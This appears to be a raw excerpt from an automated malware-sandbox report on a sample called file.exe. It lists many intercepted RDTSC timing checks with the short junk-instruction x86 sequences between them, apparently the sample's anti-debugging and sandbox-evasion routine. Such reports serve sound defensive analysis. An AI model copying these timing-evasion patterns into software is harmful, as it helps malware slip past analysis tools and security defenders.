Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C001C3 second address: C001C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C05A84 second address: C05A97 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FEC7CD69BFBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C05A97 second address: C05A9C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04530 second address: C0453C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FEC7CD69BF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0453C second address: C0454C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jg 00007FEC7C7C7EA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0454C second address: C04550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04550 second address: C04556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04556 second address: C04564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04564 second address: C0458C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEC7C7C7EA6h 0x0000000a popad 0x0000000b jp 00007FEC7C7C7EAEh 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007FEC7C7C7EABh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C047F2 second address: C0481B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEC7CD69BF6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jno 00007FEC7CD69BF6h 0x00000013 pop edx 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 jo 00007FEC7CD69BF6h 0x0000001f popad 0x00000020 popad 0x00000021 pushad 0x00000022 pushad 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0499E second address: C049E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007FEC7C7C7EA6h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007FEC7C7C7EB0h 0x00000019 push edx 0x0000001a pop edx 0x0000001b jmp 00007FEC7C7C7EB3h 0x00000020 popad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FEC7C7C7EAEh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04B46 second address: C04B4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04C69 second address: C04C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04C6F second address: C04CB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C07h 0x00000007 jmp 00007FEC7CD69BFDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 jmp 00007FEC7CD69BFEh 0x00000018 jng 00007FEC7CD69BF6h 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04DC3 second address: C04DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04F38 second address: C04F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04F3E second address: C04F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04F42 second address: C04F5B instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEC7CD69BF6h 0x00000008 jmp 00007FEC7CD69BFFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04F5B second address: C04F61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04F61 second address: C04F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04F67 second address: C04F6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C050E3 second address: C050E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C050E9 second address: C050FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jnp 00007FEC7C7C7EC4h 0x0000000d jl 00007FEC7C7C7EBEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0539E second address: C053B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69BFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C053B6 second address: C053D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB5h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F4F1 second address: B7F519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FEC7CD69BF6h 0x0000000a jl 00007FEC7CD69BF6h 0x00000010 popad 0x00000011 jmp 00007FEC7CD69C07h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F519 second address: B7F521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0B066 second address: C0B06C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0AA83 second address: C0AA87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0AA87 second address: C0AA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0AA8F second address: C0AAB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC7C7C7EB8h 0x00000008 jp 00007FEC7C7C7EA6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0ABD3 second address: C0AC22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C03h 0x00000007 pushad 0x00000008 jmp 00007FEC7CD69C03h 0x0000000d jnp 00007FEC7CD69BF6h 0x00000013 jmp 00007FEC7CD69C03h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jng 00007FEC7CD69C21h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0AC22 second address: C0AC28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0ADBA second address: C0ADCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69BFFh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0ADCF second address: C0ADD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0F81B second address: C0F821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0F956 second address: C0F95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0F95A second address: C0F964 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0F964 second address: C0F96C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0F96C second address: C0F990 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FEC7CD69BFCh 0x00000008 jmp 00007FEC7CD69BFCh 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C14181 second address: C141AD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEC7C7C7EA6h 0x00000008 jl 00007FEC7C7C7EA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007FEC7C7C7EB8h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C14477 second address: C1448E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEC7CD69BF6h 0x0000000a jnc 00007FEC7CD69BF6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1448E second address: C14492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C14492 second address: C14496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C14496 second address: C1449C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1449C second address: C144C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FEC7CD69BF6h 0x00000009 jp 00007FEC7CD69BF6h 0x0000000f jmp 00007FEC7CD69BFEh 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jng 00007FEC7CD69BF6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C14894 second address: C148B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEC7C7C7EAFh 0x0000000d jnc 00007FEC7C7C7EA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C148B1 second address: C148B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1856C second address: C18570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18570 second address: C185B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEC7CD69BFDh 0x0000000b jmp 00007FEC7CD69C03h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007FEC7CD69BFCh 0x00000017 push ebx 0x00000018 pushad 0x00000019 popad 0x0000001a pop ebx 0x0000001b jng 00007FEC7CD69C02h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C185B0 second address: C185B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17CEC second address: C17CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17CF2 second address: C17D2D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push edx 0x0000000a jmp 00007FEC7C7C7EB5h 0x0000000f jng 00007FEC7C7C7EA6h 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a jmp 00007FEC7C7C7EB1h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17E68 second address: C17E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20703 second address: C20709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20709 second address: C20711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1EA15 second address: C1EA1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1EA1B second address: C1EA2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC7CD69BFEh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1ECE9 second address: C1ED0D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FEC7C7C7EB6h 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1ED0D second address: C1ED14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1ED14 second address: C1ED1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1EFE0 second address: C1EFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1EFE6 second address: C1EFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7C7C7EADh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1EFF8 second address: C1F02C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FEC7CD69BF6h 0x00000009 jmp 00007FEC7CD69BFAh 0x0000000e jmp 00007FEC7CD69C06h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 js 00007FEC7CD69BF6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F02C second address: C1F030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F2D7 second address: C1F2ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69BFEh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F2ED second address: C1F2F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F8DA second address: C1F8ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FEC7CD69BFEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F8ED second address: C1F919 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEC7C7C7EB8h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEC7C7C7EAAh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F919 second address: C1F91D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F91D second address: C1F921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1FC29 second address: C1FC33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FEC7CD69BF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1FC33 second address: C1FC3D instructions: 0x00000000 rdtsc 0x00000002 js 00007FEC7C7C7EA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2043D second address: C20443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20443 second address: C20447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20447 second address: C2046A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEC7CD69C06h 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25133 second address: C2513A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2513A second address: C2516F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEC7CD69C0Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007FEC7CD69C00h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2516F second address: C25175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C242FA second address: C24300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2446F second address: C244AB instructions: 0x00000000 rdtsc 0x00000002 js 00007FEC7C7C7EBCh 0x00000008 jbe 00007FEC7C7C7EA6h 0x0000000e jmp 00007FEC7C7C7EB0h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jnc 00007FEC7C7C7EB6h 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C245D8 second address: C245DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C245DC second address: C245E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C245E2 second address: C245FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007FEC7CD69BF6h 0x0000000d jmp 00007FEC7CD69BFDh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C245FE second address: C2460C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007FEC7C7C7EA6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2460C second address: C24628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007FEC7CD69BFEh 0x0000000c popad 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C248D7 second address: C248DD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C248DD second address: C2490C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007FEC7CD69BF6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FEC7CD69BFDh 0x00000017 jmp 00007FEC7CD69C00h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2490C second address: C24916 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEC7C7C7EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24B96 second address: C24BBA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEC7CD69BF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEC7CD69C06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24BBA second address: C24BC0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2672E second address: C2673D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69BFBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2673D second address: C2674B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FEC7C7C7EA6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33B91 second address: C33BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FEC7CD69BF6h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33BA6 second address: C33BAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3440F second address: C34427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C03h 0x00000009 popad 0x0000000a rdtsc
